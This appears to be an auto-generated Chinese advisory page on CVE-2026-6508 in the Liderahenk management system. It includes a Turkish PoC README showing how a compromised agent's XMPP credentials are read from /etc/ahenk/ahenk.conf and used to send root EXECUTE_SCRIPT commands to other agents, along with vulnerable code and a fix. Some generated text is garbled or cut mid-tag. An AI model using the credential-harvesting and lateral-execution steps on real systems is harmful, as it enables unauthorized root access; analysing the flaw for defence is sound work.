🔥 CVE-2026-6508 深度独立研究:源码审计 · 二次发现 · 利用方案

🔥 高危漏洞深度独立研究 · CVSS ≥ 9.8

CVE-2026-6508 深度独立研究:源码审计 · 二次发现 · 利用方案

📊 2 来源🔍 源码审计🧪 PoC
NVD-LatestPoC-in-GitHub

🔍 源码独立审计

(未定位到源码) 源码进行独立审计(置信度 60%)。

🧬 根因独立理解

<p><strong>摘要:</strong>CVE-2026-6508 是 Liderahenk 集中管理系统中一个被评定为 CVSS 9.8 的严重源验证缺失漏洞(Origin Validation Error)。该漏洞允许任何能接入 XMPP 消息总线的客户端,以 root 权限在任意代理(agent)主机上执行任意命令,造成未授权远程代码执行(Unauthorized RCE)与横向移动。受影响的版本为 2.0.1 至 2.0.2 之前的版本,2.0.2 为修复版本。本文章深入剖析漏洞根因、利用原理及潜在危害,并给出修复与缓解建议。</p> <h2>📌 漏洞概述</h2> <p>CVE-2026-6508 是一个由 TUBITAK BILGEM 软件技术研究所发现的源验证错误漏洞,影响其产品 Liderahenk 集中管理系统的客户端代理组件。该漏洞的 CVSS 评分为 9.8,属于严重级别,攻击者无需身份验证即可利用(或仅需低权限的 XMPP 账号),且可完全控制目标系统。</p> <p>具体影响版本为 <strong>Liderahenk 2.0.1 以及更早版本(2.0.2 之前)</strong>。漏洞类型为“源验证错误”(CWE-346),即软件在接收消息时未验证消息的真正来源,导致任何连接到同一 XMPP 通信基础设施的实体,都可以伪装成中央管理服务器向目标代理发送恶意指令。</p> <p>根据目前公开的技术分析(PoC 项目 <code>EvilAhenk</code>),该漏洞的利用并不需要攻破 XMPP 服务器本身,而是利用代理端对消息发起方身份校验的缺失,实现从已控节点到其他节点的横向渗透,最终形成大规模受控主机群。</p> <h2>🔬 漏洞根因分析</h2> <p>Liderahenk 的架构基于 XMPP(可扩展消息处理协议)进行中央管理服务器(Lider/Ahenk 管理面板)与终端代理(ahenk agent)之间的通信。正常流程中,管理面板作为 XMPP 客户端连接到 XMPP 服务器,并向目标代理的 JID(XMPP 地址)发送任务、策略或脚本执行指令(如 <code>EXECUTE_POLICY</code>、<code>EXECUTE_TASK</code>、<code>EXECUTE_SCRIPT</code>)。代理接收消息后,根据消息内容在本机执行相应操作。</p> <p>漏洞的核心在于:<strong>代理端(ct-1)在收到 XMPP 消息后,没有验证该消息是否确实由合法中央服务器(lider_sunucu)发出</strong>。XMPP 协议本身具备消息来源标识(from 属性),但 Liderahenk 的代理实现未对该字段进行可信校验。攻击者只要拥有一个连接到同一 XMPP 服务器的有效 XMPP 账户(例如通过攻陷一台受管客户端取得其配置文件中的 JID 与密码),即可构造一个 <code>from</code> 为任意 JID(甚至直接冒充管理服务器)的 <code>EXECUTE_SCRIPT</code> 消息,并将其发往目标代理的 JID。</p> <p>XMPP 服务器在此过程中仅按路由规则转发消息,并不会对消息语义进行安全审查,因此攻击者利用的是合法通信通道。由于 <code>ahenk.service</code> 以 root 权限运行,代理在处理消息时直接调用系统命令,且不检查命令的合法来源,最终导致攻击者可以以 root 身份在目标主机上执行任意代码。</p> <p>从攻击链来看,利用流程如下:</p> <ol> <li>攻击者获得一台受管客户端(如 <code>ct-2</code>)的控制权,读取其 <code>/etc/ahenk/ahenk.conf</code> 中的 XMPP 凭据(uid、password、host、port 等)。</li> <li>使用该凭据通过 slixmpp 等 XMPP 库连接到同一 XMPP 服务器。</li> <li>构造 <code>EXECUTE_SCRIPT</code> 消息,将 <code>to</code> 设为受害代理的 JID(如 <code>ct-1</code>),<code>from</code> 则冒充 <code>lider_sunucu</code> 或任意可信任 JID。</li> <li>向 XMPP 服务器发送该消息,服务器将其路由至 <code>ct-1</code>。</li> <li><code>ct-1</code> 代理收到消息后,未验证来源即执行其中的脚本,实现以 root 权限远程代码执行。</li> </ol> <p>本质上,该漏洞是典型的 <st

🛤️ 漏洞触发链路

🧪 PoC 复现

从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。

📋 代码元数据语言md来源jackalkarlos/EvilAhenk针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明

# CVE-2026-6508
EvilAhenk,LiderAhenk Merkezi Yönetim Sistemi mimarisinde,uç birimler (agents) arası tüm istemcilerin birbirleri üzerinde 'root' yetkisiyle kod çalıştırılmasına (Unauthorized RCE &Lateral Movement) olanak tanıyan kritik güvenlik zafiyetidir.

## Sistem Nasıl Çalışır
LiderAhenk'te yönetim paneli/merkez sunucu,
istemcilere XMPP üzerinden görev ve politika mesajları yollar.

- Merkez Yönetim Paneli yetkili kullanıcı ile XMPP sunucusuna bağlanır,- İstemcilerdeki `ahenk` agent'ları da aynı XMPP altyapısına bağlanır,- Merkez,hedef istemciye `EXECUTE_POLICY`,`EXECUTE_TASK` veya `EXECUTE_SCRIPT` gibi mesajlar yollar
- İstemci agent,
bu mesajları alıp uygular

Yani XMPP burada yönetim trafiğinin taşıma kanalıdır. Merkez panelin komutları normalde bu kanal üzerinden istemcilere gider.

## Beklenen akış ve zafiyetli akış farkı

Beklenen akış:

```text
Lider/Ahenk yonetim paneli ->XMPP sunucusu ->hedef agent
```

Zafiyetli akış:

- `ct-2`,aynı XMPP sunucusuna bağlı geçerli bir istemcidir
- `ct-2`,
`ct-1` JID'ini hedefleyerek XMPP server üzerinden `EXECUTE_SCRIPT` mesajı yollar
- XMPP sunucusu mesajı `ct-1`'e iletir
- `ct-1`,mesajın gerçekten `lider_sunucu`dan gelip gelmediğini kontrol etmeden komutu çalıştırır
- Komut root olarak çalışır çünkü `ahenk.service` root olarak çalışır

```text
ct-2 veya baska bir XMPP hesabi ->XMPP sunucusu ->ct-1 agent ->
root komut
```

Yani biz XMPP katmanını hacklemiyoruz. XMPP sunucusu normal mesaj yönlendirme yapıyor. Sorun,
`ct-1` tarafındaki Ahenk agent'inin gelen mesajın gerçekten yetkili yönetim hesabından gelip gelmediğini kontrol etmemesi.

## PoC

```
pip install slixmpp
```

Ele geçirilmiş ve merkezi yönetim sistemine bağlı bir client üzerinden aşağıdaki gibi bilgiler toplanır:

```bash
sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf
```

Örnek Çıktı;
```bash
uid = pardus-ct-2
password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401
host = 192.168.100.13
port = 5222
use_tls = false
receiverjid = lider_sunucu
servicename = im.liderahenk.org
```

Main.py dosyasını aldığımız bilgilere göre güncelliyoruz,im.liderahenk.org domain,
pardus-ct-1 hedef uid

```
- XMPP user: `pardus-ct-2@im.liderahenk.org`
- XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401`
- XMPP host: `192.168.100.13`
- XMPP port: `5222`
- Varsayilan hedef: `pardus-ct-1@im.liderahenk.org`
```

Kurban makinede çalıştırılacak komut COMMAND değişkeni değiştirilerek düzenlenebilir.
```py
root@pardus-ct-2:/home/pardus-ct-2# cat xp.py |
head -n 11
#!/usr/bin/env python3
import asyncio
import json
from slixmpp import ClientXMPP

XMPP_USER = "pardus-ct-2@im.liderahenk.org"
XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401"
TARGET_JID = "pardus-ct-1@im.liderahenk.org"
XMPP_HOST = "192.168.100.13"
XMPP_PORT = 5222
COMMAND = "id >/tmp/who;
false"
```

## Zafiyetli kod
`repos/ahenk/src/base/messaging/messenger.py` içinde gelen mesaj sadece `type` alanına göre işleniyor. `msg['from']` için yetkili gönderici kontrolü yok:

```p
def recv_direct_message(self,msg):
    if msg['type'] in ['normal']:
        j = json.loads(str(msg['body']))
        message_type = j['type']
        self.event_manger.fireEvent(message_type,
str(msg['body']))
```

`repos/ahenk/src/base/execution/execution_manager.py` içinde ise `EXECUTE_SCRIPT` doğrudan komut çalıştırmaya gidiyor:

```python
def execute_script(self,arg):
    json_data = json.loads(arg)
    result_code,p_out,
p_err = Util.execute(str(json_data['command']))
```

Bu iki parça birleşince etkisi şu oluyor:
- XMPP sunucusu mesajı hedefe iletiyor
- Kurban agent göndereni doğrulamadan `EXECUTE_SCRIPT` event'ini tetikliyor
- Komut root olarak çalışıyor

Olabilecek tasarımsal fix;```python
def recv_direct_message(self,
msg):
    if msg['type'] != 'normal':
        return

    allowed_sender = self.receiver.split('/')[0]
    actual_sender = msg['from'].bare
    if actual_sender != allowed_sender:
        self.logger.warning("Rejected message from %s",actual_sender)
        return

    j = json.loads(str(msg['body']))
    self.event_manger.fireEvent(j['type'],str(msg['body']))

⚔️ EXP 利用代码

截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。

🕵️ 检测指纹

当前规则库未收录针对该 CVE 的专用检测规则。建议:

  • 根据漏洞根因编写 Nuclei 检测模板
  • 在 WAF/IDS 中配置针对漏洞特征的规则
  • 关注漏洞指纹库更新

🤖 高危漏洞深度独立研究引擎生成 · 2026-08-03 03:01

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)